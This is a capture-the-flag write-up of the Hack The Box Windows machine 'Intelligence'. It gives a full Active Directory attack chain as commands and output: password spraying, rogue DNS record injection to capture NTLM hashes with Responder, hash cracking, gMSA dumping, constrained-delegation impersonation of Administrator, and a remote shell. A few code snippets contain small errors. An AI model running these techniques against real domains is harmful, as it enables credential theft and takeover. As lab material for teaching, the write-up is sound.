> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/windows/medium-boxes/intelligence.md).

# Intelligence

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2F6d9T1JAt7GVbMoNUaugQ%2FIntelligence.png?alt=media&amp;token=a647d138-37ec-446b-942b-1f8b7673d4c2" alt="" width="563"><figcaption><p>Intelligence</p></figcaption></figure>

## <mark style="color:blue;">Recon</mark>

```bash
ping -c 1 10.10.10.248
PING 10.10.10.248 (10.10.10.248) 56(84) bytes of data.
64 bytes from 10.10.10.248: icmp_seq=1 ttl=127 time=63.5 ms

--- 10.10.10.248 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 63.486/63.486/63.486/0.000 ms
```

* Host is alive.
* Host is Windows.

Lets start nmap scan.

```bash
sudo nmap 10.10.10.248 -Pn -p- -T5 -sC -sV -oN int
```

Results:

```sql
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Intelligence
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-03-05 19:25:33Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-03-05T19:27:04+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2024-03-05T19:27:05+00:00; +7h00m00s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2024-03-05T19:27:05+00:00; +7h00m00s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-03-05T19:27:04+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49683/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49684/tcp open  msrpc         Microsoft Windows RPC
49694/tcp open  msrpc         Microsoft Windows RPC
49747/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-03-05T19:26:28
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 316.07 seconds
```

So now we know that this is <mark style="color:red;">Active Directory</mark>, lets add domain name to our <mark style="color:purple;">"/etc/hosts".</mark>

## <mark style="color:orange;">SMB</mark>

```bash
mbclient -L //intelligence.htb/   
Password for [WORKGROUP\musor]:
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to intelligence.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

looks like we cannot access SMB without credentials.

```bash
rpcclient -U '' -N 10.10.10.248
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> exit
```

same with RPC.

## <mark style="color:yellow;">DNS</mark>

```bash
dig mx Intelligence.htb @10.10.10.248                                                                                                                                                                          

; <<>> DiG 9.19.21-1-Debian <<>> mx Intelligence.htb @10.10.10.248
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26087
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;Intelligence.htb.              IN      MX

;; AUTHORITY SECTION:
Intelligence.htb.       3600    IN      SOA     dc.Intelligence.htb. hostmaster.Intelligence.htb. 89 900 600 86400 3600

;; Query time: 64 msec
;; SERVER: 10.10.10.248#53(10.10.10.248) (UDP)
;; WHEN: Tue Mar 05 18:36:34 +03 2024
;; MSG SIZE  rcvd: 95

```

Lets add dc.intelligence.htb to our hosts file.

DNS is also a dead-end.

## <mark style="color:green;">HTTP</mark>

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FN32EjQ42V8SNRQm3lzeQ%2FPasted%20image%2020240305183834.png?alt=media&amp;token=c495b421-d0e7-4828-9eca-1dc19216957b" alt=""><figcaption></figcaption></figure>

This is how web-page looks like.

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FBAHfts2SoDHSYXMAQjBK%2FPasted%20image%2020240305184437.png?alt=media&amp;token=6db8cca1-d603-4059-806b-72ee7ffe5608" alt=""><figcaption></figcaption></figure>

There are 2 download buttons, after pressing I was redirected to <mark style="color:blue;">"/documents"</mark> directory with pdf file.

In this PDF there was nothing too interesting.

I also fuzzed this application.

```bash
ffuf -u http://10.10.10.248/FUZZ -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt                                                                                                  

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.248/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

documents               [Status: 301, Size: 153, Words: 9, Lines: 2, Duration: 137ms]
                        [Status: 200, Size: 7432, Words: 2762, Lines: 130, Duration: 128ms]
:: Progress: [26584/26584] :: Job [1/1] :: 229 req/sec :: Duration: [0:01:52] :: Errors: 2 ::
```

OK, there was nothing more interesting.

Full path to our link was like this.

```bash
http://10.10.10.248/documents/2020-01-01-upload.pdf
```

PDF file name was created based on it date.

So maybe that is possible to fuzz every file and download hidden files.

I wrote Python script to generate this names.

```python
from datetime import datetime, timedelta

start_date = datetime(2020, 1, 1)
end_date = datetime(2020, 12, 31)
formatted_strings = [
current_date = start_date
while current_date <= end_date:
    formatted_date = current_date.strftime("%Y-%m-%d-upload.pdf")
    formatted_strings.append(formatted_date)
    current_date += timedelta(days=1)
for formatted_string in formatted_strings:
    print(formatted_string)
```

```bash
python3 date.py > dates
```

Our file is ready.

Now with short bash scripting I will try to download them line by line.

```bash
while IFS= read -r url; do wget "http://10.10.10.248/documents/$url"; done < dates
--2024-03-05 18:53:14--  http://10.10.10.248/documents/2020-01-01-upload.pdf
Connecting to 10.10.10.248:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 26835 (26K) [application/pdf]
Saving to: ‘2020-01-01-upload.pdf.1’

2020-01-01-upload.pdf.1                                     100%[=========================================================================================================================================>]  26.21K   141KB/s    in 0.2s    

2024-03-05 18:53:14 (141 KB/s) - ‘2020-01-01-upload.pdf.1’ saved [26835/26835]

--2024-03-05 18:53:14--  http://10.10.10.248/documents/2020-01-02-upload.pdf
Connecting to 10.10.10.248:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 27002 (26K) [application/pdf]
Saving to: ‘2020-01-02-upload.pdf’

2020-01-02-upload.pdf                                       100%[=========================================================================================================================================>]  26.37K   142KB/s    in 0.2s    

2024-03-05 18:53:15 (142 KB/s) - ‘2020-01-02-upload.pdf’ saved [27002/27002]

--2024-03-05 18:53:15--  http://10.10.10.248/documents/2020-01-03-upload.pdf
Connecting to 10.10.10.248:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2024-03-05 18:53:15 ERROR 404: Not Found.

--2024-03-05 18:53:15--  http://10.10.10.248/documents/2020-01-04-upload.pdf
Connecting to 10.10.10.248:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 27522 (27K) [application/pdf]
Saving to: ‘2020-01-04-upload.pdf’

2020-01-04-upload.pdf                                       100%[=========================================================================================================================================>]  26.88K   142KB/s    in 0.2s    

2024-03-05 18:53:16 (142 KB/s) - ‘2020-01-04-upload.pdf’ saved [27522/27522]

--2024-03-05 18:53:16--  http://10.10.10.248/documents/2020-01-05-upload.pdf
Connecting to 10.10.10.248:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2024-03-05 18:53:16 ERROR 404: Not Found.

--2024-03-05 18:53:16--  http://10.10.10.248/documents/2020-01-06-upload.pdf
Connecting to 10.10.10.248:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2024-03-05 18:53:16 ERROR 404: Not Found.

--2024-03-05 18:53:16--  http://10.10.10.248/documents/2020-01-07-upload.pdf
Connecting to 10.10.10.248:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2024-03-05 18:53:17 ERROR 404: Not Found.

--2024-03-05 18:53:17--  http://10.10.10.248/documents/2020-01-08-upload.pdf
Connecting to 10.10.10.248:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2024-03-05 18:53:17 ERROR 404: Not Found.
[SNIP...]
```

After that I looked at metadata of this files.

## <mark style="color:red;">Tiffany.Molina</mark>

```bash
exiftool *         
======== 2020-01-01-upload.pdf
ExifTool Version Number         : 12.76
File Name                       : 2020-01-01-upload.pdf
Directory                       : .
File Size                       : 27 kB
File Modification Date/Time     : 2021:04:01 20:00:00+03:00
File Access Date/Time           : 2024:03:05 18:44:49+03:00
File Inode Change Date/Time     : 2024:03:05 18:56:27+03:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.5
Linearized                      : No
Page Count                      : 1
Creator                         : William.Lee
======== 2020-01-02-upload.pdf
ExifTool Version Number         : 12.76
File Name                       : 2020-01-02-upload.pdf
Directory                       : .
File Size                       : 27 kB
File Modification Date/Time     : 2021:04:01 20:00:00+03:00
File Access Date/Time           : 2024:03:05 18:53:15+03:00
File Inode Change Date/Time     : 2024:03:05 18:56:27+03:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.5
Linearized                      : No
Page Count                      : 1
Creator                         : Scott.Scott
[SNIP...]
```

There was a lot of information actually.

But most interesting thing was <mark style="color:red;">"Creator".</mark>

```bash
exiftool * | grep Creator | awk '{print $3}' > users
```

Saved them to a file.

Also possible that there was something interesting in pdf's, but opening and reading them one by one that would be a pain. So I download a binary that will convert pdf to text.

```bash
for pdf in $(ls); do pdftotext $pdf; done 
```

```bash
ls
2020-01-01-upload.pdf  2020-01-30-upload.txt  2020-03-13-upload.pdf  2020-05-03-upload.txt  2020-06-03-upload.pdf  2020-06-22-upload.txt  2020-07-24-upload.pdf  2020-09-05-upload.txt  2020-10-05-upload.pdf  2020-11-24-upload.txt
2020-01-01-upload.txt  2020-02-11-upload.pdf  2020-03-13-upload.txt  2020-05-07-upload.pdf  2020-06-03-upload.txt  2020-06-25-upload.pdf  2020-07-24-upload.txt  2020-09-06-upload.pdf  2020-10-05-upload.txt  2020-11-30-upload.pdf
2020-01-02-upload.pdf  2020-02-11-upload.txt  2020-03-17-upload.pdf  2020-05-07-upload.txt  2020-06-04-upload.pdf  2020-06-25-upload.txt  2020-08-01-upload.pdf  2020-09-06-upload.txt  2020-10-19-upload.pdf  2020-11-30-upload.txt
2020-01-02-upload.txt  2020-02-17-upload.pdf  2020-03-17-upload.txt  2020-05-11-upload.pdf  2020-06-04-upload.txt  2020-06-26-upload.pdf  2020-08-01-upload.txt  2020-09-11-upload.pdf  2020-10-19-upload.txt  2020-12-10-upload.pdf
2020-01-04-upload.pdf  2020-02-17-upload.txt  2020-03-21-upload.pdf  2020-05-11-upload.txt  2020-06-07-upload.pdf  2020-06-26-upload.txt  2020-08-03-upload.pdf  2020-09-11-upload.txt  2020-11-01-upload.pdf  2020-12-10-upload.txt
2020-01-04-upload.txt  2020-02-23-upload.pdf  2020-03-21-upload.txt  2020-05-17-upload.pdf  2020-06-07-upload.txt  2020-06-28-upload.pdf  2020-08-03-upload.txt  2020-09-13-upload.pdf  2020-11-01-upload.txt  2020-12-15-upload.pdf
2020-01-10-upload.pdf  2020-02-23-upload.txt  2020-04-02-upload.pdf  2020-05-17-upload.txt  2020-06-08-upload.pdf  2020-06-28-upload.txt  2020-08-09-upload.pdf  2020-09-13-upload.txt  2020-11-03-upload.pdf  2020-12-15-upload.txt
2020-01-10-upload.txt  2020-02-24-upload.pdf  2020-04-02-upload.txt  2020-05-20-upload.pdf  2020-06-08-upload.txt  2020-06-30-upload.pdf  2020-08-09-upload.txt  2020-09-16-upload.pdf  2020-11-03-upload.txt  2020-12-20-upload.pdf
2020-01-20-upload.pdf  2020-02-24-upload.txt  2020-04-04-upload.pdf  2020-05-20-upload.txt  2020-06-12-upload.pdf  2020-06-30-upload.txt  2020-08-19-upload.pdf  2020-09-16-upload.txt  2020-11-06-upload.pdf  2020-12-20-upload.txt
2020-01-20-upload.txt  2020-02-28-upload.pdf  2020-04-04-upload.txt  2020-05-21-upload.pdf  2020-06-12-upload.txt  2020-07-02-upload.pdf  2020-08-19-upload.txt  2020-09-22-upload.pdf  2020-11-06-upload.txt  2020-12-24-upload.pdf
2020-01-22-upload.pdf  2020-02-28-upload.txt  2020-04-15-upload.pdf  2020-05-21-upload.txt  2020-06-14-upload.pdf  2020-07-02-upload.txt  2020-08-20-upload.pdf  2020-09-22-upload.txt  2020-11-10-upload.pdf  2020-12-24-upload.txt
2020-01-22-upload.txt  2020-03-04-upload.pdf  2020-04-15-upload.txt  2020-05-24-upload.pdf  2020-06-14-upload.txt  2020-07-06-upload.pdf  2020-08-20-upload.txt  2020-09-27-upload.pdf  2020-11-10-upload.txt  2020-12-28-upload.pdf
2020-01-23-upload.pdf  2020-03-04-upload.txt  2020-04-23-upload.pdf  2020-05-24-upload.txt  2020-06-15-upload.pdf  2020-07-06-upload.txt  2020-09-02-upload.pdf  2020-09-27-upload.txt  2020-11-11-upload.pdf  2020-12-28-upload.txt
2020-01-23-upload.txt  2020-03-05-upload.pdf  2020-04-23-upload.txt  2020-05-29-upload.pdf  2020-06-15-upload.txt  2020-07-08-upload.pdf  2020-09-02-upload.txt  2020-09-29-upload.pdf  2020-11-11-upload.txt  2020-12-30-upload.pdf
2020-01-25-upload.pdf  2020-03-05-upload.txt  2020-05-01-upload.pdf  2020-05-29-upload.txt  2020-06-21-upload.pdf  2020-07-08-upload.txt  2020-09-04-upload.pdf  2020-09-29-upload.txt  2020-11-13-upload.pdf  2020-12-30-upload.txt
2020-01-25-upload.txt  2020-03-12-upload.pdf  2020-05-01-upload.txt  2020-06-02-upload.pdf  2020-06-21-upload.txt  2020-07-20-upload.pdf  2020-09-04-upload.txt  2020-09-30-upload.pdf  2020-11-13-upload.txt
2020-01-30-upload.pdf  2020-03-12-upload.txt  2020-05-03-upload.pdf  2020-06-02-upload.txt  2020-06-22-upload.pdf  2020-07-20-upload.txt  2020-09-05-upload.pdf  2020-09-30-upload.txt  2020-11-24-upload.pdf
```

Now lets read them.

```bash
cat *.txt | grep password -A5 -B5


Sit porro tempora porro etincidunt adipisci.


New Account Guide
Welcome to Intelligence Corp!
Please login using your username and the default password of:
NewIntelligenceCorpUser9876
After logging in please change your password as soon as possible.


Dolor quisquam aliquam amet numquam modi.
Sit porro tempora sit adipisci porro sit quiquia. Ut dolor modi magnam ipsum
velit magnam. Ipsum ut numquam tempora sit. Tempora eius est voluptatem.
Dolorem numquam consectetur etincidunt etincidunt sed. Neque magnam ipsum modi sit aliquam amet. Amet consectetur modi quisquam adipisci aliquam
```

Got a password, so lets spray this password to users list that we created.

```bash
nxc smb 10.10.10.248 -u users -p 'NewIntelligenceCorpUser9876'
```

```bash
SMB 10.10.10.248 445 DC   [+] intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876 
```

Got success!

## <mark style="color:red;">ted.graves</mark>

```bash
crackmapexec smb 10.10.10.248 -u Tiffany.Molina -p 'NewIntelligenceCorpUser9876' --shares                                                                                                                  
SMB         10.10.10.248    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB         10.10.10.248    445    DC               [+] intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876 
SMB         10.10.10.248    445    DC               [+] Enumerated shares
SMB         10.10.10.248    445    DC               Share           Permissions     Remark
SMB         10.10.10.248    445    DC               -----           -----------     ------
SMB         10.10.10.248    445    DC               ADMIN$                          Remote Admin
SMB         10.10.10.248    445    DC               C$                              Default share
SMB         10.10.10.248    445    DC               IPC$            READ            Remote IPC
SMB         10.10.10.248    445    DC               IT              READ            
SMB         10.10.10.248    445    DC               NETLOGON        READ            Logon server share 
SMB         10.10.10.248    445    DC               SYSVOL          READ            Logon server share 
SMB         10.10.10.248    445    DC               Users           READ            
```

Also this user have access to SMB shares, most interesting was <mark style="color:red;">"IT".</mark>

```bash
smbclient '//10.10.10.248/IT' -U Tiffany.Molina                                                                                                                                                     
Password for [WORKGROUP\Tiffany.Molina]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Apr 19 03:50:55 2021
  ..                                  D        0  Mon Apr 19 03:50:55 2021
  downdetector.ps1                    A     1046  Mon Apr 19 03:50:55 2021

                3770367 blocks of size 4096. 1458440 blocks available
smb: \> get downdetector.ps1
getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (3.3 KiloBytes/sec) (average 3.3 KiloBytes/sec)
smb: \> exit
```

There was a powershell script, lets check what is it.

```powershell
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory 
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")  {
  try {
    $request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
    if(.StatusCode -ne 200) {
      Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
    }
  } catch {}
}
```

So it is doing request to subdomain that contains <mark style="color:blue;">"web"</mark> word, but it must be subdomain of <mark style="color:yellow;">**"intelligence.htb"**</mark>

So with credentials we can add record of our malicious domain, to get NTLM hashes of Ted Graves user.

But before that, I will run bloodhound-python to check path to Administrator.

```sql
bloodhound-python -c all -ns 10.10.10.248 -u Tiffany.Molina -p 'NewIntelligenceCorpUser9876'  -d intelligence.htb                                                                                              
INFO: Found AD domain: intelligence.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc.intelligence.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to GC LDAP server: dc.intelligence.htb
INFO: Connecting to LDAP server: dc.intelligence.htb
INFO: Found 43 users
INFO: Found 55 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.intelligence.htb
INFO: Done in 00M 20S
                                                                                
```

<div><figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FlU6Jqt3GvL8EcoehpCdJ%2FPasted%20image%2020240305193542.png?alt=media&amp;token=853e7085-bb54-487a-9d19-be3910610304" alt=""><figcaption></figcaption></figure> <figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FpOxD3fwxd8adUjed5z8e%2FPasted%20image%2020240305193604.png?alt=media&amp;token=a329e7b1-96a1-40eb-b16c-4bf81337d587" alt=""><figcaption></figcaption></figure></div>

Seems like our path is very intesting.

As user "ted.graves", we can read GMSA password of "svc\_int" user, and this user can delegate to compromise an Active Diretory.

But yeah ok, we know our path, but first I need to get Ted.Graves.

```bash
/opt/krbrelayx$ python3 dnstool.py -u intelligence\\Tiffany.Molina -p NewIntelligenceCorpUser9876 --action add --record fake-web --data 10.10.16.5 --type A 10.10.10.248                                                        
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
```

With dnstool we can add our host.

And if we start a responder, there will be our hash :)

```bash
sudo responder -I tun0
```

```bash
[HTTP] NTLMv2 Client   : 10.10.10.248
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash     : Ted.Graves::intelligence:c7646cf00dd4fef2:13C83F9B4E113DE44639C33C88E2A13A:01010000000000008235BD895D6FDA01E5726748CA6A2FE40000000002000800560036004C004F0001001E00570049004E002D004A004600480037004A00570055003500580050004E0004001400560036004C004F002E004C004F00430041004C0003003400570049004E002D004A004600480037004A00570055003500580050004E002E00560036004C004F002E004C004F00430041004C0005001400560036004C004F002E004C004F00430041004C000800300030000000000000000000000000200000BE74890764AF0C7D88982EBF3C1451B26D207EAA150D762AAC651A0B6D2E6CE00A001000000000000000000000000000000000000900320048005400540050002F007700650062002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000
[+] Exiting...
```

Lets crack it.

```bash
hashcat hash /usr/share/wordlists/rockyou.txt 
```

```bash
Mr.Teddy
```

This is password.

## <mark style="color:red;">svc\_int$</mark>

After that I downloaded a [tool ](<https://github.com/micahvandeusen/gMSADumper.git >)from GitHub to dump gMSA.

```bash
python3 gMSADumper.py -u 'ted.graves' -p 'Mr.Teddy' -d 'intelligence.htb'                                                                                                                                        
Users or groups who can read password for svc_int$:
 > DC$
 > itsupport
svc_int$:::486b1ed2229329984333a964b71045e9
svc_int$:aes256-cts-hmac-sha1-96:0d542d3dac3287785fe6d87d4e242bfcbcd3bf999541f31cd1b058e42ed2992a
svc_int$:aes128-cts-hmac-sha1-96:e85b1861ce4c561627b9532b64d86460
```

I tried to crack it offline, but it wasnt successful.

## <mark style="color:red;">Administrator</mark>

Time for last attack. BloodHound gives us a hints by the way, so I will look at them.

But also we need to correct our time with target host time.

```bash
sudo timedatectl set-ntp 0
sudo ntpdate -s intelligence.htb
```

```bash
getST.py -spn 'WWW/dc.intelligence.htb' -impersonate 'administrator' -hashes :486b1ed2229329984333a964b71045e9 'intelligence.htb/svc_int'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in administrator.ccache
```

```bash
export KRB5CCNAME=administrator.ccache
```

```bash
wmiexec.py administrator@dc.intelligence.htb -k -no-pass
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
intelligence\administrator
```

And we are in! :)

```bash
C:\Users\Administrator\Desktop>type root.txt
6b96d99ad0702fb4a6500a3470138b28
```

got a root.flag